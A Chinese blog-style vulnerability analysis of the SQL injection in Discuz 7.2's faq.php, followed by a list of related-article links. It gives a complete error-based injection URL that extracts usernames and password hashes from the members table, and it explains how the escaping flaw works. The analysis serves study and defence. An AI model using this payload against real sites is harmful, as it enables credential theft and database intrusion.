Discuz7.2版的faq.php SQL注入漏洞分析


Posted in PHP onAugust 06, 2014

注入代码实例:

https://3water.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

漏洞分析: by phithon

($action == 'grouppermission') {
...

        ksort($gids);

        $groupids = array();

        foreach($gids as $row) {

                $groupids[] = $row[0];

        }
        $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

...

}

function implodeids($array) {

        if(!empty($array)) {

                return "'".implode("','", is_array($array) ? $array : array($array))."'";

        } else {

                return '';

        }

}

首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。

为什么这个操作就造成了注入?

discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成\',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=\',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。

再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数

很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。

但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
'1','\','3','4'
有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。

PHP 相关文章推荐
php牛逼的面试题分享
Jan 18 PHP
递归删除一个节点以及该节点下的所有节点示例
Mar 19 PHP
简单分析ucenter 会员同步登录通信原理
Aug 25 PHP
PHP概率计算函数汇总
Sep 13 PHP
PHP中的Session对象如何使用
Sep 25 PHP
php实现微信发红包
Dec 05 PHP
php使用json_decode后数字对象转换成了科学计数法的解决方法
Feb 20 PHP
php写一个函数,实现扫描并打印出自定目录下(含子目录)所有jpg文件名
May 26 PHP
php安装扩展mysqli的实现步骤及报错解决办法
Sep 23 PHP
浅析PHP中的闭包和匿名函数
Dec 25 PHP
PHP生成随机数的方法总结
Mar 01 PHP
Laravel模糊查询区分大小写的实例
Sep 29 PHP
PHP中的reflection反射机制测试例子
Aug 05 #PHP
PHP的反射类ReflectionClass、ReflectionMethod使用实例
Aug 05 #PHP
实例介绍PHP的Reflection反射机制
Aug 05 #PHP
PHP中读取文件的8种方法和代码实例
Aug 05 #PHP
PHP中Fatal error session_start()错误解决步骤
Aug 05 #PHP
PHP学习笔记(二) 了解PHP的基本语法以及目录结构
Aug 04 #PHP
PHP学习笔记(一) 简单了解PHP
Aug 04 #PHP
You might like
十天学会php(1)
2006/10/09 PHP
PHP 存取 MySQL 数据库的一个例子
2006/10/09 PHP
PHP连接操作access数据库实例
2015/03/30 PHP
PHP定时执行任务的3种方法详解
2015/12/21 PHP
javascript 页面划词搜索JS
2009/09/28 Javascript
setTimeout和setInterval的区别你真的了解吗?
2011/03/31 Javascript
node.js中的events.EventEmitter.listenerCount方法使用说明
2014/12/08 Javascript
浅谈jquery中delegate()与live()
2015/06/22 Javascript
JS+CSS实现的日本门户网站经典选项卡导航效果
2015/09/27 Javascript
基于JS模仿windows文件按名称排序效果
2016/06/29 Javascript
JavaScript学习小结之使用canvas画“哆啦A梦”时钟
2016/07/24 Javascript
理解nodejs的stream和pipe机制的原理和实现
2017/08/12 NodeJs
微信小程序实现点击按钮移动view标签的位置功能示例【附demo源码下载】
2017/12/06 Javascript
浅谈实现vue2.0响应式的基本思路
2018/02/13 Javascript
配置一个vue3.0项目的完整步骤
2019/04/26 Javascript
vue-cli4项目开启eslint保存时自动格式问题
2020/07/13 Javascript
JQuery+drag.js上传图片并且实现图片拖曳
2020/11/18 jQuery
vue调用微信JSDK 扫一扫,相册等需要注意的事项
2021/01/03 Vue.js
[00:23]DOTA2群星共贺开放测试 25日无码时代来袭
2013/09/23 DOTA
利用Python获取操作系统信息实例
2016/09/02 Python
利用Tkinter(python3.6)实现一个简单计算器
2017/12/21 Python
python3实现磁盘空间监控
2018/06/21 Python
python matplotlib实现双Y轴的实例
2019/02/12 Python
Laravel+Dingo/Api 自定义响应的实现
2019/02/17 Python
Python hexstring-list-str之间的转换方法
2019/06/12 Python
基于Python新建用户并产生随机密码过程解析
2019/10/08 Python
python使用numpy实现直方图反向投影示例
2020/01/17 Python
使用Python三角函数公式计算三角形的夹角案例
2020/04/15 Python
浅谈PyTorch中in-place operation的含义
2020/06/27 Python
CSS3 transforms应用于背景图像的解决方法
2019/04/16 HTML / CSS
大学生毕业自我鉴定范文
2013/09/19 职场文书
打架检讨书400字
2014/01/17 职场文书
土建工程师岗位职责
2014/06/10 职场文书
节能环保口号
2014/06/12 职场文书
上课随便讲话检讨书
2014/09/12 职场文书
医德医风个人总结
2015/02/28 职场文书